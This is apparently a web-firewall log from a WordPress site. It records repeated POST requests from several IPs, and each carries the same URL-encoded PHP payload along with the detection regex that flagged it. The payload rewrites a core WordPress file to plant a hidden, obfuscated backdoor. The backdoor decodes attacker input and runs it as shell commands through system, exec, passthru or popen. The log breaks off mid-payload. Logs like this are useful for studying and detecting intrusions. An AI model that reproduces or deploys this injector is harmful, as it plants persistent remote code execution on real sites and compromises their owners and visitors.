3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHzxvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nRi=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/l10n\/class-wp-translation-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522str%255Cx65%255Cx61%255Cx6D%255Cx5Fget%255Cx5Fcon%255Cx74%255Cx65%255Cx6Et%255Cx73%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522pcl%255Cx6Fse%2522%253B%2520%2524sync_manager2%2520%253D%2520%2522she%255Cx6C%255Cx6C%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%2529%2520%257B%2520function%2520approve_request%2520%2528%2520%2524token%2520%252C%2520%2524symbol%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524o%253D0%253B%2520while%2528%2524o%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524record.%253Dchr%2528ord%2528%2524token%255B%2524o%255D%2529%255E%2524symbol%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520return%2520%2524record%253B%2520%257D%2520%2524holder%2520%253D%2520%2524module_controller%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%253B%2520%2524holder%2520%253D%2520approve_request%2528%2524holder%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524holder%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524symbol_record%2520%253D%2520%2524sync_manager5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524symbol_record%2529%2520%257B%2520%2524parameter_group_hld%2520%253D%2520%2524sync_manager6%2528%2524symbol_record%2529%253B%2520%2524sync_manager7%2528%2524symbol_record%2529%253B%2520print%2520%2524parameter_group_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:55","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Zw:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/l10n\/class-wp-translation-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522str%255Cx65%255Cx61%255Cx6D%255Cx5Fget%255Cx5Fcon%255Cx74%255Cx65%255Cx6Et%255Cx73%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522pcl%255Cx6Fse%2522%253B%2520%2524sync_manager2%2520%253D%2520%2522she%255Cx6C%255Cx6C%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%2529%2520%257B%2520function%2520approve_request%2520%2528%2520%2524token%2520%252C%2520%2524symbol%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524o%253D0%253B%2520while%2528%2524o%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524record.%253Dchr%2528ord%2528%2524token%255B%2524o%255D%2529%255E%2524symbol%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520return%2520%2524record%253B%2520%257D%2520%2524holder%2520%253D%2520%2524module_controller%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%253B%2520%2524holder%2520%253D%2520approve_request%2528%2524holder%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524holder%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524symbol_record%2520%253D%2520%2524sync_manager5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524symbol_record%2529%2520%257B%2520%2524parameter_group_hld%2520%253D%2520%2524sync_manager6%2528%2524symbol_record%2529%253B%2520%2524sync_manager7%2528%2524symbol_record%2529%253B%2520print%2520%2524parameter_group_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncontent-length:5351\nsec-ch-ua-mobile:?0\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJapvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nZw=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/l10n\/class-wp-translation-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522str%255Cx65%255Cx61%255Cx6D%255Cx5Fget%255Cx5Fcon%255Cx74%255Cx65%255Cx6Et%255Cx73%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522pcl%255Cx6Fse%2522%253B%2520%2524sync_manager2%2520%253D%2520%2522she%255Cx6C%255Cx6C%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%2529%2520%257B%2520function%2520approve_request%2520%2528%2520%2524token%2520%252C%2520%2524symbol%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524o%253D0%253B%2520while%2528%2524o%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524record.%253Dchr%2528ord%2528%2524token%255B%2524o%255D%2529%255E%2524symbol%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520return%2520%2524record%253B%2520%257D%2520%2524holder%2520%253D%2520%2524module_controller%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%253B%2520%2524holder%2520%253D%2520approve_request%2528%2524holder%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524holder%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524symbol_record%2520%253D%2520%2524sync_manager5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524symbol_record%2529%2520%257B%2520%2524parameter_group_hld%2520%253D%2520%2524sync_manager6%2528%2524symbol_record%2529%253B%2520%2524sync_manager7%2528%2524symbol_record%2529%253B%2520print%2520%2524parameter_group_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:48:57","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/l10n\/class-wp-translation-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522str%255Cx65%255Cx61%255Cx6D%255Cx5Fget%255Cx5Fcon%255Cx74%255Cx65%255Cx6Et%255Cx73%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522pcl%255Cx6Fse%2522%253B%2520%2524sync_manager2%2520%253D%2520%2522she%255Cx6C%255Cx6C%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%2529%2520%257B%2520function%2520approve_request%2520%2528%2520%2524token%2520%252C%2520%2524symbol%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524o%253D0%253B%2520while%2528%2524o%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524record.%253Dchr%2528ord%2528%2524token%255B%2524o%255D%2529%255E%2524symbol%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520return%2520%2524record%253B%2520%257D%2520%2524holder%2520%253D%2520%2524module_controller%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%253B%2520%2524holder%2520%253D%2520approve_request%2528%2524holder%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524holder%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524symbol_record%2520%253D%2520%2524sync_manager5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524symbol_record%2529%2520%257B%2520%2524parameter_group_hld%2520%253D%2520%2524sync_manager6%2528%2524symbol_record%2529%253B%2520%2524sync_manager7%2528%2524symbol_record%2529%253B%2520print%2520%2524parameter_group_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\nsec-ch-ua-platform:\"macOS\"\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\nsec-fetch-mode:navigate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:5374\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/l10n\/class-wp-translation-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522str%255Cx65%255Cx61%255Cx6D%255Cx5Fget%255Cx5Fcon%255Cx74%255Cx65%255Cx6Et%255Cx73%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522pcl%255Cx6Fse%2522%253B%2520%2524sync_manager2%2520%253D%2520%2522she%255Cx6C%255Cx6C%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%2529%2520%257B%2520function%2520approve_request%2520%2528%2520%2524token%2520%252C%2520%2524symbol%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524o%253D0%253B%2520while%2528%2524o%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524record.%253Dchr%2528ord%2528%2524token%255B%2524o%255D%2529%255E%2524symbol%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520return%2520%2524record%253B%2520%257D%2520%2524holder%2520%253D%2520%2524module_controller%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%253B%2520%2524holder%2520%253D%2520approve_request%2528%2524holder%252C%252067%2529%253B%2520if%2520%2528function_exists%2528%2524sync_manager1%2529%2529%2520%257B%2520%2524sync_manager1%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager2%2529%2529%2520%257B%2520print%2520%2524sync_manager2%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager3%2529%2529%2520%257B%2520%2524sync_manager3%2528%2524holder%252C%2520%2524tkn_token%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524tkn_token%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager4%2529%2529%2520%257B%2520%2524sync_manager4%2528%2524holder%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524sync_manager5%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager6%2529%2520%2526%2526%2520function_exists%2528%2524sync_manager7%2529%2529%2520%257B%2520%2524symbol_record%2520%253D%2520%2524sync_manager5%2528%2524holder%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524symbol_record%2529%2520%257B%2520%2524parameter_group_hld%2520%253D%2520%2524sync_manager6%2528%2524symbol_record%2529%253B%2520%2524sync_manager7%2528%2524symbol_record%2529%253B%2520print%2520%2524parameter_group_hld%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:49:09","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> PC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/l10n\/class-wp-translation-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524module_controller%2520%253D%2520%2522%255Cx68%255Cx65x2b%255Cx69%255Cx6E%2522%253B%2520%2524sync_manager6%2520%253D%2520%2522str%255Cx65%255Cx61%255Cx6D%255Cx5Fget%255Cx5Fcon%255Cx74%255Cx65%255Cx6Et%255Cx73%2522%253B%2520%2524sync_manager3%2520%253D%2520%2522%255Cx65%255Cx78ec%2522%253B%2520%2524sync_manager4%2520%253D%2520%2522%255Cx70as%255Cx73%255Cx74h%255Cx72u%2522%253B%2520%2524sync_manager5%2520%253D%2520%2522%255Cx70%255Cx6Fpen%2522%253B%2520%2524sync_manager1%2520%253D%2520%2522%255Cx73%255Cx79%255Cx73tem%2522%253B%2520%2524sync_manager7%2520%253D%2520%2522pcl%255Cx6Fse%2522%253B%2520%2524sync_manager2%2520%253D%2520%2522she%255Cx6C%255Cx6C%255Cx5F%255Cx65%255Cx78ec%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx68%255Cx6Flder%2522%255D%2529%2529%2520%257B%2520function%2520approve_request%2520%2528%2520%2524token%2520%252C%2520%2524symbol%2520%2529%2520%257B%2520%2524record%2520%253D%2520%2527%2527%2520%253B%2520%2524o%253D0%253B%2520while%2528%2524o%253Cstrlen%2528%2524token%2529%2529%257B%2520%2524record.%253Dchr%2528ord%2528%2524token%255B%2524o%255D%2529%255E%2524symbol%2529%253B%2520%2524o%252B%252B%253B%2520%257D%2520return%2520%2524record%253B%2520%257D%2520%2524holder%2520%253D%2520%2524module_controller%2528%2524_POST%25